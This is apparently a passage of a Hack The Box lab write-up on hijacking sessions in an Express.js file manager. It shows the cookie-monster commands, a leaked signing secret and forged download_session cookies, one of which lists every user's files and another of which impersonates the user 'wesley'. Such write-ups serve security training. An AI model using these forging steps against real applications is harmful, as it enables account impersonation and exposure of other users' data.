Session Hijacking


the target web application is a file management system built using the express.js framework. it allows users to register, log in, upload, view, download, and delete files. here’s a brief summary of the software stack and key functionalities:

software stack:

key functionalities:

  1. authentication and registration:
    • Users can register with a username and password.
    • Registered users can log in securely.
    • Logout functionality is provided.
  2. file management:
    • Authenticated users can upload files, with optional privacy settings.
    • Uploaded files are stored on the server.
    • Users can view details and download their own files.
    • Users can delete their own files.
  3. middleware:
    • Custom auth middleware ensures that only authenticated users can access certain routes.
    • flash middleware manages flash messages to provide user feedback.
  4. routing:
    • different routers handle various aspects of the application:
      • auth.js for authentication and registration.
      • files.js for file upload, management, and deletion.
      • home.js for displaying the user’s home page with their uploaded files.
  5. database interaction:
    • Prisma is used to interact with the database, storing user information and file metadata.
  6. static assets:
    • Static files (CSS, images) are served using Express.js from the “static” directory.
  7. views:
    • nunjucks templates are used for rendering HTML views, including login, registration, file upload, file view, and error pages.

The application’s main components include user authentication, file management, routing, and interaction with a database through Prisma. It provides users with the ability to securely manage their files, ensuring privacy and convenience.

The important bit here lays in the disclosure of the session key secret

As discovered earlier, there are 2 session cookies given to an authenticated user;

  • The download_session cookie is a JSON data containing user information encoded in the base64 format and
  • The download_session.sig cookie is something else

It turns out that the download_session.sig cookie is the signature file generated from the download_session cookie hashed using SHA1 HMAC. The download_session.sig cookie is used to check for tampering with the download_session cookie

After researching online for awhile, I found a tool that allows re-signing the Express session cookie.
It’s an Express app as well.

Since I don’t want to populate my system, I will get run the tool from a Docker container

┌──(kali㉿kali)-[~/archive/htb/labs/download]
└─$ docker run -it --entrypoint "/bin/bash" --name download debian      
unable to find image 'debian:latest' locally
latest: Pulling from library/debian
785ef8b9b236: Pull complete 
digest: sha256:9f76a008888da28c6490bedf7bdaa919bac9b2be827afd58d6eb1b916e1e5918
status: Downloaded newer image for debian:latest
root@d1a6473e009f:/# apt update -y ; apt install nano net-tools git npm curl -y

Setting up a Docker container I will then install the yarn through npm and install the tool via yarn

root@d1a6473e009f:~# npm install yarn   
 
up to date, audited 2 packages in 731ms
 
found 0 vulnerabilities
 
root@d1a6473e009f:~# /root/node_modules/yarn/bin/yarn global add @digital-interruption/cookie-monster
yarn global v1.22.19
warning package.json: No license field
[1/4] Resolving packages...
warning @digital-interruption/cookie-monster > request@2.88.2: request has been deprecated, see https://github.com/request/request/issues/3142
warning @digital-interruption/cookie-monster > request > har-validator@5.1.5: this library is no longer supported
warning @digital-interruption/cookie-monster > request > uuid@3.4.0: Please upgrade  to version 7 or higher.  Older versions may use Math.random() in certain circumstances, which is known to be problematic.  See https://v8.dev/blog/math-random for details.
[2/4] Fetching packages...
[3/4] Linking dependencies...
[4/4] Building fresh packages...
success installed "@digital-interruption/cookie-monster@1.0.2" with binaries:
      - cookie-monster
Done in 6.89s.
 
root@d1a6473e009f:~# cookie-monster --help
 
              .---. .---.
             :     : o   :    me want cookie!
         _..-:   o :     :-.._    /
     .-''  '  `---' `---' "   ``-.
   .'   "   '  "  .    "  . '  "  `.
  :   '.---.,,.,...,.,.,.,..---.  ' ;
  `. " `.                     .' " .'
   `.  '`.                   .' ' .'
    `.    `-._           _.-' "  .'  .----.
      `. "    '"--...--"'  . ' .'  .'  o   `.
      .'`-._'    " .     " _.-'`. :       o  :
    .'      ```--.....--'''    ' `:_ o       :
  .'    "     '         "     "   ; `.;";";";'
 ;         '       "       '     . ; .' ; ; ;
;     '         '       '   "    .'      .-'
'  "     "   '      "           "    _.-'
 
 
cookie-monster
 
  Automates the testing of Express.js cookies for weak secrets. 
 
Options
 
  -b, --batch              Enable batch mode.                       
  -c, --cookie string      The session cookie to use when not using 
                           batch mode.                              
  -e, --encode             Enable encode mode.                      
  -h, --help               Print this usage guide.                  
  -f, --input-file file    The JSON file with the cookie data to    
                           analyse in batch mode / the JSON data to 
                           be encoded in encode mode.               
  -n, --name string        The cookie name to use when not using    
                           batch mode. (default: session)           
  -o, --output file        The file to output the results to.       
  -p, --port number        The port to bind the local test server   
                           to. (default: 3000)                      
  -k, --secret string      The secret key to use when using encode  
                           mode.                                    
  -s, --signature string   The value of the session signature       
                           cookie to use when not using batch mode. 
  -v, --verbose            Output verbose messages on internal      
                           operations.                              
  -w, --wordlist file      The wordlist to use as a source of       
                           possible cookie secrets.                 

The tool also supports brute-forcing the secret, but it would be unnecessary for my case since I already have the secret string from the source code

Now, before forging and signing anything, I need to first assess the current situation. The JSON data seems to contain 2 user-identifiable attributes; id and username Earlier, I was given id of 18 with username of tester. Currently, there is no other user that I know enough of to impersonate since it seems to require both fields.

root@f7b6245291a5:~/cookie-monster# cat new_cookie.json 
	{"flashes":{"info":[],"error":[],"success":["You are now logged in."]},"user":{"id":{},"username":{}}}

when the session cookie is manipulated to set "id":{},"username":{}, it led to the application treating those input {} as a wildcard or placeholder, causing it to list files for all users instead of just the authenticated user. This behavior is very similar to some SQL injections that setting the SQLi to 'or 1=1# would result of the pre-defined SQL query to set to true, revealing everyone’s or signed-in as everyone.

*i also set "success":["You are now logged in."] for accessing the /home/ endpoint to list the uploaded files This is to mimick the expected behavior or session cookie from a valid user who just logged in and got re-directed to /home/

root@f7b6245291a5:~/cookie-monster# cookie-monster -e -f ./new_cookie.json -k '8929874489719802418902487651347865819634518936754' -n download_session
               _  _
             _/0\/ \_
    .-.   .-` \_/\0/ '-.
   /:::\ / ,_________,  \
  /\:::/ \  '. (:::/  `'-;
  \ `-'`\ '._ `"'"'\__    \
   `'-.  \   `)-=-=(  `,   |
       \  `-"`      `"-`   /
 
[+] data cookie: download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOlsiWW91IGFyZSBub3cgbG9nZ2VkIGluLiJdfSwidXNlciI6eyJpZCI6e30sInVzZXJuYW1lIjp7fX19
[+] signature cookie: download_session.sig=fjvqJn4BUGFKcqA95XypE2hhl7I

I will go ahead and craft the forged session cookies with the tool

As expected, the target web application with the lack of input sanitization returned the entire userfile tables

wesley


While there are dozens of uploaded files, only one of them seem to be relevant to the current assessment. There is the wesley user, who also appeared as author in the package.json file of the web application

I will attempt to hijack the wesley user’s session, effectively impersonating that would result listing uploaded files by the user.

I’d first need to set the username attribute to wesley

root@d1a6473e009f:~# cookie-monster -e -f wesley.json -k '8929874489719802418902487651347865819634518936754' -n download_session
               _  _
             _/0\/ \_
    .-.   .-` \_/\0/ '-.
   /:::\ / ,_________,  \
  /\:::/ \  '. (:::/  `'-;
  \ `-'`\ '._ `"'"'\__    \
   `'-.  \   `)-=-=(  `,   |
       \  `-"`      `"-`   /
 
[+] Data Cookie: download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOlsiWW91IGFyZSBub3cgbG9nZ2VkIGluLiJdfSwidXNlciI6eyJpZCI6e30sInVzZXJuYW1lIjoiV0VTTEVZIn19
[+] Signature Cookie: download_session.sig=mqOz1wtkzGgsuWSLb2UA-CVgCJU

Then craft the forged cookie pair; download_session and download_session.sig Those cookies will be used to send a GET request to the /home/ endpoint that the web server would interpretate as if the wesley user is behind

There are 2 files uploaded by the wesley user. Those 2 uploaded files appear to be irrelevant.

root@d1a6473e009f:~# cookie-monster -e -f wesley.json -k '8929874489719802418902487651347865819634518936754' -n download_session
               _  _
             _/0\/ \_
    .-.   .-` \_/\0/ '-.
   /:::\ / ,_________,  \
  /\:::/ \  '. (:::/  `'-;
  \ `-'`\ '._ `"'"'\__    \
   `'-.  \   `)-=-=(  `,   |
       \  `-"`      `"-`   /
 
[+] Data Cookie: download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOlsiWW91IGFyZSBub3cgbG9nZ2VkIGluLiJdfSwidXNlciI6eyJpZCI6MSwidXNlcm5hbWUiOiJXRVNMRVkifX0=
[+] Signature Cookie: download_session.sig=-ZYb_ErGzfXW8aLqrxnHgFl83-E

I was also able to find the id attribute of the wesley user. Seeing the wesley user having the id attribute set to 1 provides an additional layer of possibility that the wesley user is NOT only a valid system user but an admin user to the web application

Nonetheless, there is not much else to do with the impersonating alone. I would need to find another way to proceed forward.